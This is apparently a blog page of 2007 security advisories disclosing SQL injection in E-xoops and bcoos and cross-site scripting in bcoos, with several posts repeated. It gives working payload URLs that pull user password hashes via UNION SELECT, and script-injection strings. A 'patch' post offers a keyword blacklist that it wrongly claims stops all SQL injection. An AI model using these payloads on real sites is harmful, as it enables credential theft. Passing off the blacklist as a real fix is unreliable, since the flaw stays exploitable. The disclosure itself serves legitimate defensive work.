############################################
E-xoops multiple variable/scripts SQL injection
vendor url: http://www.e-xoops.com
Advisore: http://lostmon.blogspot.com/2007/12/
e-xoops-multiple-variablescripts-sql.html
vendor notify:NO exploits available: YES
############################################
E-xoops is content-community management system written in PHP-MySQL.
E-xoops contains a flaw that may allow an attacker to carry out
an SQL injection attack. The issue is due to the script not
properly sanitizing user-supplied input to the 'lid','bid' and
'gid' variable, multiple script.This may allow an attacker to
inject or manipulate SQL queries in the backend database.
#################
Versions:
#################
E-Xoops 1.08
E-Xoops 1.05 Rev3
E-Xoops 1.05 Rev2
E-Xoops 1.05 Rev1
and posible early versions.
#################
Solution:
#################
no solution available at this time
Try to edit the source code.
you can look this post in my group
to patch E-xoops ,because the source
code is veeeery similar to bcoos cms
http://groups.google.com/group/lostmon/
browse_thread/thread/59f3b836fad5b009
and here you have a src reference for
E-xoops 1.0.8 http://phpxref.com/xref/exoops/nav.html
#################
Timeline:
#################
Discovered:25-11-2007
vendor notify:--------
vendor response:-------
disclosure:09-12-2007
#################
SQL intections:
#################
http://localhost/e-xoops/modules/mylinks/
ratelink.php?lid=-1%20UNION%20SELECT%20pass
%20FROM%20e_xoops_users%20LIMIT%201
http://localhost/e-xoops/modules/adresses/
ratefile.php?lid=-1%20UNION%20SELECT%20pass
%20FROM%20e_xoops_users%20LIMIT%201
http://localhost/e-xoops/modules/mydownloads/
ratefile.php?lid=-1%20UNION%20SELECT%20pass
%20FROM%20e_xoops_users%20LIMIT%201
http://localhost/e-xoops/modules/mysections/
ratefile.php?lid=-1%20UNION%20SELECT%20pass
%20FROM%20e_xoops_users%20LIMIT%201
http://localhost/e-xoops/modules/myalbum/
ratephoto.php?lid=-1%20UNION%20SELECT%20pass
%20FROM%20e_xoops_users%20LIMIT%201
http://localhost/e-xoops/modules/banners/
click.php?op=click&bid=-1%20UNION%20SELECT
%20pass%20FROM%20e_xoops_users%20LIMIT%201
http://localhost/e-xoops/modules/arcade/
index.php?act=show_stats&gid=-1%20UNION%
20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201
http://localhost/e-xoops/modules/arcade/index.php?
act=play_game&gid=-1%20UNION%20SELECT%20pass%20FROM
%20e_xoops_users%20LIMIT%201
#################### €nd ########################
Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
Posible patch for SQL Injections In bcoos 1.0.10
Sunday, December 02, 2007
############################################
Posible patch for SQL Injections In bcoos 1.0.10
vendor url:http://www.bccos.net
Patch by Lostmon. (lostmon@gmail.com)
Original article:http://lostmon.blogspot.com
/2007/12/posible-patch-for-sql-injections-in.html
############################################
in the last week some researchers and me have found multiple
critical SQL injections in bcoos 1.0.10 and prior versions.
After a simple study/look of the source code of product
i have found a simple patch , this is not a oficial patch but it
still working fine ,before the vendor release a oficial patch or
a new release.
You can use this modification as a solution to mitigate all
SQL injections , only need to detect 'union' sql command.
##########################
Sample code
##########################
you need to add this code to all afected files ...
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*", $lid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
###########################
patch mylinks/ratelink.php
############################
open ratelink.php and arround line 73 you have a 'else' like } else {
put the code just before the else condition like :
}
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*", $lid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
else {
save and close the file and now it´s pached
try to exploit for verify :
http://localhost/bcoops/modules/mylinks/ratelink.php?lid=
-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
###############################
patch adresses/ratefile.php
##############################
open ratefile.php and arround line 70 you have a else like } else {
put the code just before the else condition like :
}
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*", $lid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
else {
save and close the file and now it´s pached
try to exploit for verify :
http://localhost/bcoops/modules/adresses/ratefile.php?
lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
###############################
patch mysections/ratefile.php
##############################
open ratefile.php and arround line 77 you have a else like } else {
put the code just before the else condition like :
}
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*", $lid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
else {
save and close the file and now it´s pached
try to exploit for verify :
http://localhost/bcoops/modules/mysections/ratefile.php?
lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
############################
patch banners/click.php
############################
open click.php and arround line 5 you have $bid = $_GET['bid'];
put the code just after the this line :
if (eregi("%20union%20", $bid) ||eregi(" union ", $bid) || eregi("\*union\*", $bid) || eregi("\+union\+", $bid) || eregi("\*", $bid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
save and close the file and now it´s pached
try to exploit for verify :
http://localhost/bcoops/modules/banners/click.php?
bid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
###########################
patch arcade/index.php
############################
open index.php and arround line 15 you have a switch($act)
put the code just before the switch
if (eregi("%20union%20", $gid) ||eregi(" union ", $gid) ||
eregi("\*union\*", $gid) || eregi("\+union\+", $gid) || eregi("\*",
$gid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
you can patch all of the rate files with the same code, because
for rating the code and funcions are similars in diferent modules.
###################-€nd-#######################
thnx to estrella to be my ligth.
thnx to all Lostmon Group Team !!
Thnx To All OSVDB manglers !!! Waiting for OSVDB 2.0 !!!
Thnx To orinico i know how can i do :D
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
Posible patch for SQL Injections In bcoos 1.0.10
vendor url:http://www.bccos.net
Patch by Lostmon. (lostmon@gmail.com)
Original article:http://lostmon.blogspot.com
/2007/12/posible-patch-for-sql-injections-in.html
############################################
in the last week some researchers and me have found multiple
critical SQL injections in bcoos 1.0.10 and prior versions.
After a simple study/look of the source code of product
i have found a simple patch , this is not a oficial patch but it
still working fine ,before the vendor release a oficial patch or
a new release.
You can use this modification as a solution to mitigate all
SQL injections , only need to detect 'union' sql command.
##########################
Sample code
##########################
you need to add this code to all afected files ...
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*", $lid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
###########################
patch mylinks/ratelink.php
############################
open ratelink.php and arround line 73 you have a 'else' like } else {
put the code just before the else condition like :
}
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*", $lid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
else {
save and close the file and now it´s pached
try to exploit for verify :
http://localhost/bcoops/modules/mylinks/ratelink.php?lid=
-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
###############################
patch adresses/ratefile.php
##############################
open ratefile.php and arround line 70 you have a else like } else {
put the code just before the else condition like :
}
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*", $lid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
else {
save and close the file and now it´s pached
try to exploit for verify :
http://localhost/bcoops/modules/adresses/ratefile.php?
lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
###############################
patch mysections/ratefile.php
##############################
open ratefile.php and arround line 77 you have a else like } else {
put the code just before the else condition like :
}
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*", $lid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
else {
save and close the file and now it´s pached
try to exploit for verify :
http://localhost/bcoops/modules/mysections/ratefile.php?
lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
############################
patch banners/click.php
############################
open click.php and arround line 5 you have $bid = $_GET['bid'];
put the code just after the this line :
if (eregi("%20union%20", $bid) ||eregi(" union ", $bid) || eregi("\*union\*", $bid) || eregi("\+union\+", $bid) || eregi("\*", $bid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
save and close the file and now it´s pached
try to exploit for verify :
http://localhost/bcoops/modules/banners/click.php?
bid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
###########################
patch arcade/index.php
############################
open index.php and arround line 15 you have a switch($act)
put the code just before the switch
if (eregi("%20union%20", $gid) ||eregi(" union ", $gid) ||
eregi("\*union\*", $gid) || eregi("\+union\+", $gid) || eregi("\*",
$gid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
you can patch all of the rate files with the same code, because
for rating the code and funcions are similars in diferent modules.
###################-€nd-#######################
thnx to estrella to be my ligth.
thnx to all Lostmon Group Team !!
Thnx To All OSVDB manglers !!! Waiting for OSVDB 2.0 !!!
Thnx To orinico i know how can i do :D
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
Bcoops adresses/ratefile.php lid variable SQL injection
Friday, November 30, 2007
########################################################
Bcoops adresses/ratefile.php lid variable SQL injection
vendor url: http://www.bcoops.net
Advisore: http://lostmon.blogspot.com/2007/11/
bcoops-adressesratefilephp-lid-variable.html
vendor notify:NO exploits available: YES
########################################################
bcoos is content-community management system written in PHP-MySQL.
bcoops contains a flaw that may allow an attacker to carry out
an SQL injection attack. The issue is due to the script not
properly sanitizing user-supplied input to the 'lid' variable,
and adresses/ratefile.php script.This may allow an attacker to
inject or manipulate SQL queries in the backend database.
#################
Versions:
#################
bcoops 1.0.10 =< vulnerable
#################
Solution:
#################
No solution at this time !!!
Try to edit the source code
or Try another product
#################
Timeline:
#################
Discovered:25-11-2007
vendor notify:--------
vendor response:-------
disclosure:30-11-2007
#################
SQL intections:
#################
http://localhost/bcoops/modules/adresses/ratefile.php?
lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
####################### €nd ##############################
Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
Bcoops adresses/ratefile.php lid variable SQL injection
vendor url: http://www.bcoops.net
Advisore: http://lostmon.blogspot.com/2007/11/
bcoops-adressesratefilephp-lid-variable.html
vendor notify:NO exploits available: YES
########################################################
bcoos is content-community management system written in PHP-MySQL.
bcoops contains a flaw that may allow an attacker to carry out
an SQL injection attack. The issue is due to the script not
properly sanitizing user-supplied input to the 'lid' variable,
and adresses/ratefile.php script.This may allow an attacker to
inject or manipulate SQL queries in the backend database.
#################
Versions:
#################
bcoops 1.0.10 =< vulnerable
#################
Solution:
#################
No solution at this time !!!
Try to edit the source code
or Try another product
#################
Timeline:
#################
Discovered:25-11-2007
vendor notify:--------
vendor response:-------
disclosure:30-11-2007
#################
SQL intections:
#################
http://localhost/bcoops/modules/adresses/ratefile.php?
lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
####################### €nd ##############################
Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
Bcoops SQL injection and Cross-site scripting
Wednesday, November 28, 2007
####################################################
Bcoops SQL injection and Cross-site scripting
vendor url: http://www.bcoops.net
Advisore: http://lostmon.blogspot.com/2007/11/
bcoops-sql-injection-and-cross-site.html
vendor notify:YES exploits available: YES
####################################################
bcoos is content-community management system written in PHP-MySQL.
bcoops contains a flaw that may allow an attacker to carry out
an SQL injection attack. The issue is due to the arcade/index.php
script not properly sanitizing user-supplied input to the 'gid'
variable,and myalbum/ratephoto.php script and 'lid' variable are
afected by the same flaw This may allow an attacker to inject or
manipulate SQL queries in the backend database.
bccops contains too a flaw that allows a remote cross site scripting
attack.This flaw exists because the application does not validate the
'day' and 'year' variable upon submission to modules/theecal/display.php
script. This could allow a user to create a specially crafted URL that
would execute arbitrary code in a user's browser within the trust
relationship between the browser and the server, leading to
a loss of integrity
#################
Versions:
#################
bcoops 1.0.10 =< vulnerable
#################
Solution:
#################
No solution at this time !!!
#################
Timeline:
#################
Discovered:25-11-2007
vendor notify:27-11-2007
vendor response:-------
disclosure:28-11-2007
#################
SQL intections:
#################
http://localhost/modules/arcade/index.php?act=show_stats
&gid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
http://localhost/modules/myalbum/ratephoto.php?
lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
http://localhost/modules/mylinks/ratelink.php?
lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
#####################
Cross-site Scripting
#####################
http://localhost/modules/ecal/display.php?
day=17&month=11&year=2007"><script>alert()</script>
http://localhost/modules/ecal/display.php?
day=1"><script>alert()</script>&month=11&year=2007
####################### €nd ############################
Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
Bcoops SQL injection and Cross-site scripting
vendor url: http://www.bcoops.net
Advisore: http://lostmon.blogspot.com/2007/11/
bcoops-sql-injection-and-cross-site.html
vendor notify:YES exploits available: YES
####################################################
bcoos is content-community management system written in PHP-MySQL.
bcoops contains a flaw that may allow an attacker to carry out
an SQL injection attack. The issue is due to the arcade/index.php
script not properly sanitizing user-supplied input to the 'gid'
variable,and myalbum/ratephoto.php script and 'lid' variable are
afected by the same flaw This may allow an attacker to inject or
manipulate SQL queries in the backend database.
bccops contains too a flaw that allows a remote cross site scripting
attack.This flaw exists because the application does not validate the
'day' and 'year' variable upon submission to modules/theecal/display.php
script. This could allow a user to create a specially crafted URL that
would execute arbitrary code in a user's browser within the trust
relationship between the browser and the server, leading to
a loss of integrity
#################
Versions:
#################
bcoops 1.0.10 =< vulnerable
#################
Solution:
#################
No solution at this time !!!
#################
Timeline:
#################
Discovered:25-11-2007
vendor notify:27-11-2007
vendor response:-------
disclosure:28-11-2007
#################
SQL intections:
#################
http://localhost/modules/arcade/index.php?act=show_stats
&gid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
http://localhost/modules/myalbum/ratephoto.php?
lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
http://localhost/modules/mylinks/ratelink.php?
lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
#####################
Cross-site Scripting
#####################
http://localhost/modules/ecal/display.php?
day=17&month=11&year=2007"><script>alert()</script>
http://localhost/modules/ecal/display.php?
day=1"><script>alert()</script>&month=11&year=2007
####################### €nd ############################
Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
Subscribe to:
Posts (Atom)
Posts
